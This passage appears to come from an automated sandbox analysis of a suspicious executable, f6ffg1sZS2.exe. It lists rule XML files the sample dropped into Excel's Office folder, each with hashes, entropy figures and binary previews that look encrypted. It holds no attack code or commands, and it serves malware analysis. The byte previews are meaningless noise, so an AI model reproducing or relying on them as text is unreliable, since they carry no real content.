l..(8w.%...I6?..%#.$..^Q.l.N......`..l.}.^.u...tiL...Q.L....Y.}.9.pdO..........8Ah+V&.[..CY@......hNK.nc...>.yy.....=.Q........Ng........z...5t..0ol..u.!....o.T.Q.........!B..C.\............*..>.......=&..S..gX.v@....se.Js.)Y.pe.......6.Qb...-;.a...]~...........T.W...h..U!..q.r..B.3WXQ.$.0..../(Q..}.....Sp...'P....)..<T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.793964116677745
Encrypted:	false
SSDEEP:	24:4UvouwnFedtgFyviaDNj1C9g6riqJFbKP2YmbD:MUdtyypjE9B35D
MD5:	B7B66C1321EFC477FC2D6AB7866E7FAB
SHA1:	E79C41BBC6C6F5B4F5FCDA5505BD54B04F077E09
SHA-256:	69B2F1D3F9ECD878DF0075743018DE722E5AC828C8F3E431C603D123792AD243
SHA-512:	22B301642143FA357CF939691E2BF0C151B6A04BAC4833108DCD42626716A06734CE3F0E7E1B38D900AA214171D3C5CEB8BB946E56FDEA98E96113AEA1017E68
Malicious:	false
Preview:	<?xml?@c.....l".. .v......w.4.).W....&.;..$.a....Dv."..eWe......`.2....k.\..<.?...m]...D...AzDa....J.\Vf.gh..9.:~..7l.pD.Cgb.L.Y...?..0......<c..^.......F..%f,.......j..\W.;>}..2..m....%CU.q..!/R............)..-JZ.s.V..6W.5..'.Ne.fC..I)...&....2.@.s..4.9...Pf..dF....a.-..N(..L6mV..DE../...ar.......6F<As.d[ Ir....9W^.^..k2..Y.H'.Sd...}......'.w.M.-.8>5...nS..".pG$...4..!..\|...+.0N^}......S.)...8.M..q\|{.=-....%.X.....n.&+....<..&...G.....Fy...`..=.31.....a>.i.K.w..s..]x...+.l..+.)....X..Xf.V..\.%V.o.sa%.....mO.........V.v....`~.N.)...RzeIM....#.4..m....\|.ik..;.."...M.qB.....b.p.f.....im..g..>..DY.v3.=NA...s...1....pB.\..f.....")}L......j,.[.......&lgV.....z..{.)...`r..5......5A..d.]q..c..d.=<../...............e...1....>..H..Z=).......R...L.4sP. C.^$,J.#..T#<....~.....Kr...keR..B..q.. ..xiuQ..(.w5..._.V.s.7{....i..^.?.2....g..@@.'_JV._\|..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.7983510431739465
Encrypted:	false
SSDEEP:	24:40Jv8gfp4h4Br5Gw74iPP6QEZs7vUFHKA7EcL22obD:4+ZKh4ZgwsK6QR7cHRJLuD
MD5:	CD488C56B7CD5F827C1AB3BCB05AC568
SHA1:	C1A212ADF786F4C0D3B369FE4671B6BD2E9360EC
SHA-256:	E4A4A91787A485D1CF37F92A823F2A32A61BC7797A391ADEA0F32C39F6466CDF
SHA-512:	FE89E92288697F947588FDC65FA9A5F14E955D18A491E4E9E6CD1B6561D94398F1BEAB57E33FEF657B7EB9ACE62C0005CB0F08EAAD681417A365E078D4C3F00E
Malicious:	false
Preview:	<?xml....^.k.Pa...5.....uku.....m..3U.).6.WA.]"\'.s...6^A......C......yn..,U.'A.Yq.....P..;....QX....RLx...p ....L..]...j..]1.QXf.A.P.g....Akk...E......da.....<....4!.b.P..\>...8...2..K...(@G98...?...i#...R.p.%.S../n.^.$!qJnR..Zt...&...(..7.$.r)[.d6..{...[.s.-#E5.........%>.q..bo..&ex........ .t.(E.f..Bi..N{U`...m...Y..y..H.=.=...y.....j.i.L.......d.M.j......n<;..D.c.p...,A../B.Z..........I....9......P.......)..;.9.2.F...;`3..!.....pU.e.0N~3O...9..b6u..r....~..:`q....X...p....[.e/. ..."......g.);."...J6..-.~.$B......>...j..q...z.k...F.....B.eP.S.Z...._..G.$.<....%0D....d.'.7N..7.lT.l>kC.N.~........z .k..d.=.~../.......}../%c.a....\.M. .....K.WA.GQD.)p.XtX-...j4......DCtA...C..]z..\|!.[....2..D.NA.p.yN...C.D...d...+wU.g.......28.2]...&q...2......".nP.c`..U......h`..t..:.;.^F..YlS.....w....3.$81.....7....W..A.x.1.......%....l...s..h~.@...Q..d.....?./.?F...........a.#.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.8190550255872955
Encrypted:	false
SSDEEP:	24:lZgkL8OKjwbdRQDgettrqSBnXkg+tN1R3gQ/ObbD:3BKEHQDgettz0g+tID
MD5:	AF80F2EFD8DA4E341EA9A5071856EFFE
SHA1:	443C018F0E14888F69C2D4533ADAAA52181CE8C4
SHA-256:	B03BB4BD071D8BD4F315ECB3F159B3A10359B4EC16F4D4E5546FC61F77E18093
SHA-512:	1E8ED2B1D2E2EFB38F241FF99C99A4F1923B6AD616ED76B7BDA252941DBC931CC1D44FBA18316749369A9401798410E6967733DE57D77573ECD593E73233D0F6
Malicious:	false
Preview:	<?xml...........&V..K..\.'..7%.......6.n...: ....@.....Y.....9.H_.&1.....f..F..t...W..B..U.E!_....4z...}Q.p...Z..2.'.&..w.a...8...:.G8:..H.c...z.CSM.^E...v........:...h.t..../..@.U.......cX..&........N..d..~....^...\|...x=...-.].VE.....N....A..>.o(.2...^w....)..\.eF..o.o2......k.zn..W..@a........\|...N....r./`G....2...D.t...i...A(^l....u.....$q.C.z.V...3..=@.{..............b......4.ON.A......0......I..@`>...v..,b.......$.R.7.ZNt..-.........8Tx...O,+!....CvA..T".Ru.Y.Q.....dq....\|..F.....%..R!...........'.1..f_.q.:.o.J..H...W&...O....y.)...d..~.#~....._..&Y....R.df.7.?h..o..r.y1.k=.q..1....y..qG..C.ss...bA.Qv......6TB.m.8Dz..t..ZA?"S.&..C.]B.3...Iz...r...8r>.................U..^..I.W..v/.j.6..W.yi..M.!o.....e....cz.1^.1.m#.g}.k.....M...{C.].?(y-[.,E.dO.).....rn.8b.c..Nd..v.....m`.^MX..R........\3.)Q..w].....k6.u.Z7.5...d_o....5...WA...1.w...0..!-.#..~t.`.e...........^....D..k......^LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.864405710624086
Encrypted:	false
SSDEEP:	24:gCsJNoULLj+qVZmKEezJ6naUNO3KWNFikZNBdRdEt6nJ/hl3bD:gvNoULLyev/YHCdik37Am/hlLD
MD5:	0B5DBAB09FD7C0E9F0EA12CE99405798
SHA1:	7149BB83F7FE3859A88DE94F0908F7D671F0AA4E
SHA-256:	501D961F6544C1B967310D40E7C74F3368B9D71A51B3BA3BD02352CB49DCADFE
SHA-512:	DA91D50D781D8CE3985ABAEC0F4F5CE65E01B4411FB916F7E3539868E6F6B7F93A84193B45058D1B5AD831DFE662EFF72B14BCA6E950098399EC76D63008251F
Malicious:	false
Preview:	<?xml.tsyD.........%.....J..x...)..qT....\......b..k.v.1.......H.cp...3...h../....c...=....Xi."9.O...&(.@7O\|.>...S......3..-..?...^)...E$...=P..d.}q...........%.$YH....J.XD...0..t/;~nG...~.F..LY..j..U.C....XCR..v.^Uk..A.0..L+E.....x.z.S.J...E....6.Z.I..x....B..U..g...$u....T..."CS12...{q.......GS.7..k.[............`e..V.[.......V..tI......=O.v....\|..g\|..0....=...Fv.4V..K.............Px.....~.U... ..W...W..gJyk&-..[....S1.,...]..^.+....7..k.O..A...=.k.....C.+..?....%#s.$ps...h....2.....<R.X~F.x......K_c.i.B..i.r.}...he.?.d..X......,Y<fC..z....#...\|.cq7..#.M'..o....W...5.a.zm.!.I?..W.cj..9..E..8..3....z...n.. .....Y..o..G=...k......Z.7...xp.6:#.^.....5.H2.m.{kkE..fRE.C.jj1...f...f:...]S..O..W....T.j.K.{.p.."]H.qXS.=w...+=$...,;_s.E.*:+...0..I.i......;.B.H.e..$.TV.K.B.].._.Y..sC.............i.#.d...gj..Gs.F...c.I...aiS....A..4..K\.._G..W..iT%...P.7.......S..<O....N/(..!E....W..4P.P...&........\..\|i.Z^..[l..^......kp.;w.zX..(+=@y@.Z.\|IE=0A.6;.6h...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.862641486857073
Encrypted:	false
SSDEEP:	24:Rq/AZ3Rzsw5fxPNxDmfIAh861KxEiHscyzlOZE2SEdPLWkQZcovZobD:hjz7BOIAh51KxxHsl5AEvsWkQZczD
MD5:	A8F87A421212D151969B31935CC44044
SHA1:	F0E8B33C7019B5EE635B6DFD2DED977E12C0E4AD
SHA-256:	BC37C6449F22FBCD61A2B55C4ABCF364BEEF8D8AE40863CF5252570B9DD31678
SHA-512:	ED54CE787B94A9E022FF0D09B7F809068C1C5A4F6E84D17A7229995323BE82B0DC4F6050784EC2E8C5F8A66B25FE0EA51132624A5E51DA0549DD6619F4B7AC1B
Malicious:	false
Preview:	<?xml..sd..h!.....<LHi.z...G.....a..I.$Q.....1:.qV.7..I"l....k..\|..s....]C.g.b..glQ..2.'.....G....ea9.k..q."...P}@.3\.2}...~....P..v.._~.. pB`.C._.....L.#.X...4....Z..., ..HF^.5.DX..tG.\r.dec....?'.X.u.o!Z...#......s.=.fw{.1..P..e..^...&.1.G.."..b@Kb.j...4@R.T...lq.yI.}.(......U...V...z.@..#N(........N..=....9..!..$.2.C..C..]{..^..Gvo.......L...$....NY..ni..5 r..%..T..F...l.....S.7x+n..i..!.'K.&..........I.Q........{...ot..v.$..0.8..rn.?w...u..sT...h7.g.~T....!.7.R.]k..I...6%..'...4.....Z{N@Wr....a.w..'..7...x......,..f.^...O.....Uf.....~...&ye.M..-.......)...td....Z{..N....k...?.B$....4.G.\..R>.{...S...\|.........+^Q..Sz~...N..n..w...~l.F.rv.H.q...JN.aM..g..E.zP........3E.7q.k.bs.&...B}.H..9.Gt(oT.tR.n?..9Gg.....Y.....Y..c....1(.'S./..p-..j...\.......9.&..Y.#...z9.........{...7@......Z....TT..r.XP..J..j..%..n6N.H..l..u.4)..C.^Mg,....P.r.. h......<.^G.....k...)..h.......N..;.6...0.._.Q5.i8...V....+.R..0:.{.8...v.d..!...il.@+..N.....k..x.d...!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.7432157428971715
Encrypted:	false
SSDEEP:	24:OZfU6hJhSr589Yk3APEygC5O0NUd1r1zWshybD:Oa5s4bHILd1zSD
MD5:	EF7F272C4735A078591CB44CC6271512
SHA1:	7BE3ECF134E1AFD3CC09064070E00A16989D2FC3
SHA-256:	216E64ED53A13F0610B5776328204EA94F67078C30586BBE33826D3137978EEB
SHA-512:	04ECB24F973D175DF202EA58E2DD48EB71C8E2588F91F4E42B0BC5CEB6274E83DB9BE466913B4A977D49142C3F946FE998C8841D02028D019120E186332EDA43
Malicious:	false
Preview:	<?xml.MR...D(...}..3~.O..zs...HM.lH.>\|ad.6.<.X<-5.J........U.DwLI"H.F.Y...&\.4\|.A..T..0....(.i.7.c.h2s.0Z..[..V....\..R..f...T...Ru.A.Gp1....{.?.bP.3.0..g........G....,.......%.{.J...Qj..`Fw....c..F].H...IM..M...S...9.-.N..U..@...I6q.........o..Y..P..]8z.%kI.]7@19.."t...m.J..$Lg'...\|D..\|_}.u....=Y.dEN..T(..L.VN.X"..m_.....9(5Zl...{.D!....G=....e......Z.....G..t.:"..aT.......E...3.@.....^..p...:..h..=.u...l.?..l.c.K.U.S$4.b...9......I....N.-.......:....c.e..h......5.k.:,hx.^P.J.X...@Z........ ...[X....P...t...e.:V..'.G.....0..mUT.Kv.=...J.;?.I.....h.6k.<....b.k...=.....- .']e.H....D.lC......c....a...L..L.1.v9;.8}..,[S..\|....x.L......]ML...a..z}Bj...e.g...(.....1..p.2.W..w..!....,.mT.d.Ec.G3...../..#(....O-L...(p...$d.l..Yi.x..<....+..^LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.834059458025866
Encrypted:	false
SSDEEP:	24:rCePrZHhVGGeMutAttmt5BYOwm4tm0x2848Jy8J2/GVBybD:rllhfeM6ADmtMZm4Y888J2cBgD
MD5:	CED18C7A04570449F816CA9635E12F4E
SHA1:	07A78EC64E4B8B6591A7A1EEE93F1D2A6D4BCC2D
SHA-256:	7506A383118A329B17B8E3E1106D94DCDA015E92A53EB7F02AF0AE6B7CAD4A6D
SHA-512:	EE442B724FB52D01684BE528FBE94894476627A169671DF51812E0DDDB56FA2BCF8E8931E1A41582039FA2861FD5E95160E8CDBB38A361DD277E002362BCB77C
Malicious:	false
Preview:	<?xml.........._j..........Q.9.K.9<C..4.F.....=.Ggs...lMXX.....K.c.....;.....g.......y......O.Q. ..-j....l..{e}..)....!S...D#...A..h..Mk....%.,1.,[.M..lG>v...".r.7.........3..?m.0@.y.....L...!..SY.(W..'..B.K.+..^.2.....S.@..?.F.......a,..\|...\|F..;...F.)....~P....0Y].....!B..;.\......i.3..~.b..@.X...go.. 4.2...Bb....../...........\|.&5...=..=O...'....eNW....G...Ba"#v...)...L .6U..=.Y@k..,.C$..9...jK..'....H..q...G..;s..5..X{..wi..N9.t2..~C.g.....f....rt.@..C."..0....Q...l..5....I..9w...Ul.N..].t...}...U....._.1.....q..`.g.QC.YNc......b...i....a..&.....0I...Le.(xY.y.,_...]..Q....x.S......e....z.+.....R.0.{}.#v.S.mU>"...E1.....D..lWN....y?\....".3.h..F...#F..)K....V$n...H..\|..(P.. .q 1.O.H:...d...Z..yS....(.W@.<. R.<Z#.....C...m....I9.7...R..$s_..X.m.v.3../..Iq1'r.U0NLIR_.a3.H..A.....8YDy.).j./......[.k.y.*......1.pe.k...F...e..0...,..:....ag.P}3...{.J.........wea..\.............?..;..:..4_.....c..^...<.S..~2..\|.%oDI....h.j.1DM../...v4.>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.742933783488793
Encrypted:	false
SSDEEP:	24:KemlBR6V5dR6AWLqE1QVrstGk59N/62BaDGqJ9cnobD:KeDx63LJQDkZ/62B2inyD
MD5:	9CC3732A67DCEA42D99447BE4399D5B4
SHA1:	ABE8EB11D8C801E3CF41197C891FC75526320188
SHA-256:	1D334F1952D917A3F58B68FE59D7F111899ECF03E8C59876DACC97CEC5B4095F
SHA-512:	52D012BB84008D717BE53DE24275090968AFF6E3AA360354BA02CAF2D45D0D57D251B8492F765BDA3EC94585A2E5BF5A42D2FEDA3811A4BB1E41F10CC6C2269E
Malicious:	false
Preview:	<?xmlfr..lC.[..T,.Y](7.>....y...nt..9`!2z..-.i......?.......5Huw.v....$<C.5.F.<...._.^v.O..$.k.Ln.;.Q..%.....~.WV....cY.....3.....A......,.r......4.\|{....i.!p.5K............z.q..7@}.^.i.#.My"...~.7?A.3[s..t.)....E.}...x.uN{..=.#.#..D}......t.....O....;.,E...'.U.....`........."p...Bh..G.7bf.EY.%...d..........i...QL/.B2.(P}ki..<I...]..@.../..1...".?.v..xxy7l...F4..x..hW.>}....7.:......^..O.d..L....r...\..].A......C.3.'..(@...\..Y..K4L\.9..0...:O..Q.W.)....#..VR.Z].p..)..^x/.Y....aqJ.L[0.B"..NSc-.<F.7j.....^...!t.}.$(...V..=i.....@..B......#.C.H.KM\|.p.h!...:e"...+i..Y...#.(.>...w.t^..}....\..t$7Y.dq.`......:.H.L.m...K.@N...............Q..o..GP..7K~. ...Z..x...u..fch..m...S.....O.wL.._...Y.m..^..o?.....@o.p..5.g&.\.h.J.g+......A......x\.F\.....x....6........i.V...4/..q&8.B.j9.%..B,.3..3...P....}LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.800682194577989
Encrypted:	false
SSDEEP:	24:39Cm0vN/29a7Kve1DVBLQXWETRkUXaRsnawOryCfCbD:tN0VOSwqDfiTu0aS9OryCfQD
MD5:	87F25C240350C5F363D99D9C2BA63D02
SHA1:	3D2BF3DA9A7B0616B8B505BA80481F07834DE900
SHA-256:	46F128DEDB07A3A87F9202E41E1B161651F81C7BAF310A7E7BF7B97BC0357BC5
SHA-512:	6DFD998BDC2FC305C63BA3CCCBD0A9F795665BFC7A360FB8460D5FBE6E117262C14D6A2D2DC486677003075A5847F1537F9DA8676155A4DCCD009716957D8A14
Malicious:	false
Preview:	<?xmlK.-..?...QqI..s.Y..<.>...E.'L8..v...\..........`..7.+..hM..\|.. .-;.=.K1..F.....<..S..f).f.`.....I....l.....Y..>...}qI...W..Os@E.+.?.HJ..lsl.......^.^...&L.w....%ZE...q....\..(hs%....b.#)...X..k./....b....#.ZN.......P\ol'_..`+..w..hq&.-.k.&.....%....g...6.m.<...?P.#.......T.g...l\D-.......}j..q...... -\.u..Gp:......5....H..u.v..+.....-ydR.m....:#.I.\|...t./Z...b..@..}p.i.k8.g.E..G.<.&...l..:g1..y.\v.......1>....M.P1S.......X$.>.E..v.j.w~.../..nQ..wt-..fH.....%v..".......+a<2..x?.......c.....7/...Xb.gr~.8Oe.D0.k".W.......]...C..Bg..c+......\|...X..H.=.w.g.P.@..#...F.E..T....X......50M6..M3%{.q.'....K..1.W..9!...`.2$d.3'...#..g(.~......D..URk..zY...o.qdp."..u..:.y\|!.....H.&]..LNc!{.L..k?.P....WT6.g.L.+..o.B.Nh.....w....Oj.....`..Gk..,H5...d. m...t.._s.G.}......?.}.'._....>J..rbWL...o..c{.S.kL........U.Z.b.kv.K.2.`.._W....@.!.$.1....Q.4..~...Lp.$N.N..=.M{I...WxT......Gl.Xm......W..O..!u>..m~1.v...`..P.....~F.s......)UE....._...K{..{..:0.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.792339855007544
Encrypted:	false
SSDEEP:	24:hjW4CyCDnhCm9aagRwxS78paxcKCXrfuXPOvP3Se0bD:E4CyClCONaxcnLuWvPieeD
MD5:	B2B2DA82FFF80EF2C090D2C3D9067DDB
SHA1:	240E082C040EFADD543D5DBFD073F68EA94E80EA
SHA-256:	344EB9B43C771F5443FA05C53E5E3422CC39BC808D9C3DBDEAE3076EDB2C7BEE
SHA-512:	67B8A2238DEF52435DA63CCF14DD91A70CFAB8D75078B7DBA88E4C14E6ED59CC9160B5D1766C832DFD7CFB0BC0D97DC3DFAA7361B2A73E119948E9D705926B78
Malicious:	false
Preview:	<?xml...7........l..n..H......6.'rH^.....@.=.lV9.-.:..G...c.=.)x).....L.=...E.I....R.s..j...%h....Y..2..-D&......Q.Lt......m.O....X.{].p.z.y..Q.x...=q.s.yH.E.W..p.V3......d.h.v~.zjA.ct..u.;..f...R.V.M.nr2hp..@Hl\|.e...io.1xW.8.-....?z....{.mx..A.%.....O..A;..B._.....S...J..cm'J...v3.Z.k.:.C..g.....?}.nx.Qy..7@......&.3..._#m..u..i1.e.=V<...2.n..<X.neP..W....R..f.Pf..s.3.+4..c.....i&.X_.Qb...Tcn.%..Z\.+4.q.l...\|.]...L.&.R.1.......^k...B`.Ic....Y..q.......o..j........2.k..(..[...=.\.U=_].0o.t..[.J~...kZ....N.W...0....w....L?...eR..l.a.E....g'..;..........R..D....ij.}N..@.......>..]..?.\|....F..a_.G>m..Y)..o.T`.V7..^a..:)L.......,O.}?..g...V....K.h}...Y...,..(m&.......H4...10...RQ;..%.by.l......6.L...tzg<.)L>P.t4j..zkqX..%X7B.q..R..G.)b..`.{..;...1..^O.@..ku0{EL7..Vd.3...g46..cx...&..Y....1..6s....X.d7...)Q?'.s.!..J.C@..y.,.d...<.........+....._.T..q.~K...K......:D...........,...jd....J........H..:.F..x.@.s#..8..\vHv>K5~.J.!2.p..c..]R...\|.da.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.800892536101081
Encrypted:	false
SSDEEP:	24:IIugm90Op2QuOZn/qvdjP+aNG06ajvye1KFI40t+OOAwsBbD:IGm9BnLm6aVwab5RD
MD5:	D91F2AC162F1ABB3A56FD40D8195E4D0
SHA1:	78A9355F1990B464BFAB4245FF9FE584A8F2422D
SHA-256:	50104D5E72B38AC570C91E9565A1950499611D6911C63CB7835AE0C4E562C71F
SHA-512:	7ABC676B7A83F7EC3EC6866579D603560AC6C2DB2075AE8A2F8A7C041D2AD18F015EE7D0064C1A69624D4B42C473E56D42D7AF4DE1EC0F50A34B3AA1E9B9CEE7
Malicious:	false
Preview:	<?xml?.=A.n:.r...A.=i...:$.\|...".g&\|f.......d......\|....&.:.s9..4...`.......H...0.x&...C(.zRE#......=..9.5....>]20..$..d"o....u8..F..\|...-.:<.. .7B4.4..<v..00..8.W4...At...N.m...^.._...Be.&..t.:y...E.......s..T..6>p....[.Ao.......s..Z.z......r.4.WN.+[.2..%.p".\s)n...oq.n..`'B..H.......:..UbB..x....#.ti.j..A..y.,Fw.ZP....A...........V.....'...3b..U..h.3.@Y.2N.c.M.p.n.9...!c........"m...ZHKk%........g......1...?(;.&......~2,.1..........d.\.R..,.~..].}......4l.s...k.....k..! c~.`.%]./.Yd9r5..3-....U.)s.]..p......G.pJm..;..=JXk.H...;5:.p...Y.....K>..._ZU.W.?.k...r.........N#..$.j.4."Rd.v5i..2.!S......iM@..1;6K )zQ6.Gs...%yh.T8..ru...!ou"..cJ-\|u.H>."...Z...g.n{.BW<l......f...f...g....b..Q...v.1L.go.&0M.G.........I..~...3&..W....<..gR.4....kc.)KuYJ.[....[..~...N...G..~h\vs.I.5....Z.".UE4............E:..{=0.N'{w. w...^...R..K..,vv....v.p..q.F.O..].j..f..-..}.+...N.U._2r?..._..h)6.!.G.P._n..?M...c..i...fN.yW..N.O.o.I..3"d.}.!....1......7.o.!......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.749986356745314
Encrypted:	false
SSDEEP:	24:bSMzdg+7FXD9gKbIbTSO81K2NfBz28UvDfyK2bD:9d3BXDlIKH1KSJzijylD
MD5:	5A37AF67BC39FEE093B92EAE6B190568
SHA1:	56B4CE43F85F91FD6462304286C7ABFFAD8DC283
SHA-256:	C57ADBA0225F3EBB71AF301D27D2EAD38789E9AA519D6013AFF169178038E7D3
SHA-512:	F36ABF743A22C1A4C756535789EACE35E5FEE120C6D1925A8B8116190021DDFB775CBE7ADDB35DF57619A39F5316F1DAFA47C0A3F27171A6B1752E37F8F062F1
Malicious:	false
Preview:	<?xml.S..B...?.,...JR.....-BA..x_.#..4...2.nw....6...4F......}&.&..Det.9Z.......~.l.A....h.......iW&............h...{02.^...E.T..X+..j. +`......$.L4.i)..2..s..i...BSzrx.0......!lw.......=..x....R..{T....Js..d.p.............E9Z....S>_jrM.#.P...D..P....\|....sC...-(XP..C.....C..~.:^.M....?...U..N.>...}.z..:x.g.,.BD....#....(...&.....WJ).....AM.Kz./.[.Q.,]...k.....X.8.V<n.u..;j....J.....Qj........nFGX".....w.E...n.~..b_.`.6.E..c....~.B.cq....P..{...\|S..iG0..p.:.f....O.30A.,."..l*.Q..e.6.Q#..RR..b.n.}.."4.{E..+..?..o..(..a]....(.e-..B0ZD.[.e<.,.M...e.f...._...m..1jkW...W....p......`gI.4..(......6...n....c...(..O.6..ax..&y.i.....e..i7A..G....B.]...[...+..k!&.z.+ ..._.)..h.?.^..y..K..YU...U..J.H.k7G..T.(.O+.k..%+.`. .V~X.2.....I%.j.@0?...~.4...\..;....g..."g./.......!.k......&HC.VX....5!\..qN#.}....E..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.792727337841195
Encrypted:	false
SSDEEP:	24:BQmT0L9YfIRsArEgX4ZT1hGfeSGQFifLRJ9bD:B5T0C4sArElZJhIUQgfLH9D
MD5:	8743A05649AC0491E32D6A1494276995
SHA1:	BFF8BCF722510B7FBDB8294CF8155D849CC3B2DC
SHA-256:	B36251DAFFECB3DF51664FED1B7D3AC11C53092FEAD82D453C11426E0BC49D03
SHA-512:	4C1DAAE7A657C77533070D84D78E1ED3277C51A3EBAD2031A955C5AB0088041CB8403C97D05497D3955CB09C77A7B87106257CFD31861F908171431E03CAE502
Malicious:	false
Preview:	<?xmla8.M...h..VL.h......z.@..Q..DS..E.E.zx..P.....y...z.av....3z.:...V.q..zv'.L.%.7.........W......2v.Rz. ........,J.D.zf..uY..h.......+..>...mY.L...xhl.x..{...c).....T[.......-Q.X...K3AX...b5..3..a.....C.#..z.. yW..h.K;..s.g...h.....ES2.+.~....].M\|.7R.....J.a....,._.O.....-DD...K..3" .o......6.U..nJ....Sc..Z.b.yYYf.Le..v.R..B....=..7.kt.3.t._..k3TB$aD..\|.d....>.r..[...j.....-^Q.e.a\|....EY..JL--a2.%:.-....f..(..lyE<..^s..V."..De..(.Q..%..G..ZwRdG.}.wp2%l s(.i.x..U90M....B(......R,.\|..w....%.....l.@$.~...L.Y...P..x.\|....I._.-.f..eX1.....?..7.r}..(.^C..`.\#;.....k..:.W@.."...cYSt..G.}.-..n.R.i;.=+....A....H.}.....[f...8.@o.......J.C..@+..7Z!..0....F...Wd..NO..j.Q..Vv0[";H....g..E.H..5...W>@!./3Bm..........D.De..Z...5.a..L.P.S.DZ-.....+.....^.otT.2....>.....m..6........$..~.q.:#..w........#...T.kK.z.yh..."...D.~..a.!H...1.....j...z.(.ah.E.....R.@A8{.{....u...>eF^.C.O.i.{.Q.U.6....$..4&..w....1..#@D0..C.._. .pB../.....O.f8..P7.4.Z.xa

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.808835548252082
Encrypted:	false
SSDEEP:	24:whj2iZQtgqe07CIarHJ09gEm10seGrGi7Ht9SIc/0bD:s2iZQparp09gr1ak/N9SIcGD
MD5:	74DA05E97D089F65C42B7E7E6AC4F869
SHA1:	770849E17341F2506397034C6825AE5B46DA7D61
SHA-256:	405ECAA3FBB7E04148FE892AD6B3E59CCC8C350BF7D0900674C090F051820943
SHA-512:	688A470287C0AD0B80F0DE4B4CE46A14BC77F4FF832B62559192FB00D372D6D8AC0153EC3D5834FE123273EE796809F45E3CCBBCF160D5C56CD2351E89BD049D
Malicious:	false
Preview:	<?xml.......O.../.#.Q.:$+uwW...RH.i.K....!.!...sR..."...ys;Vj.q+..T.,C..;H..../..m...C.O b.....{...M\|~I......c0.CZV..k...h... .).S....w...z.q..[.../.F.d[.{..x.NI..T".J'v^.q.(.zD.<.:.w.,.!..%....me48...5..H....../..Y.Wy.<.+.%.....j.....28......U..?.....=U.H...`.....J...{ZYt\|)..}.gj..o#...r..Q".<..s.b+..CcP..Eh.mkmH{.P........Z..r..t...J#I...1....W3;mA.bL/.A.G...qH..x.NV..E..j...c.ix....,.......p....-U..DIvu....w..5>..1W..d.:8CS0....E\&.,K..."..F..X9sz......<.....4....#Xwx..T.T..L...k.E...[..hr.9m.H.....9..6...-U..<...M.+{..9.....@.$.).\|..U.4"..h..NO.Q..{Q.U...I.+....6.E.H#.....gd/....E.7...$......:...3M"...../E.5.CZFv.e...f0....^Y`..v.....L..rYe..!.}.....J.]Bm..G..#P3.C..K.7.d.o....GL.9.....&....Nu.WaJ.wR...."(q.m.......k-...)...(.2N.-@cq`....H...f...X.W...E...s..S..{..~...e.......{..}...re.~{/.}.[w...k%.I..E.......G......\.N.....\\|.......my.DeW2D-.f6W..R.....c..r.k.G......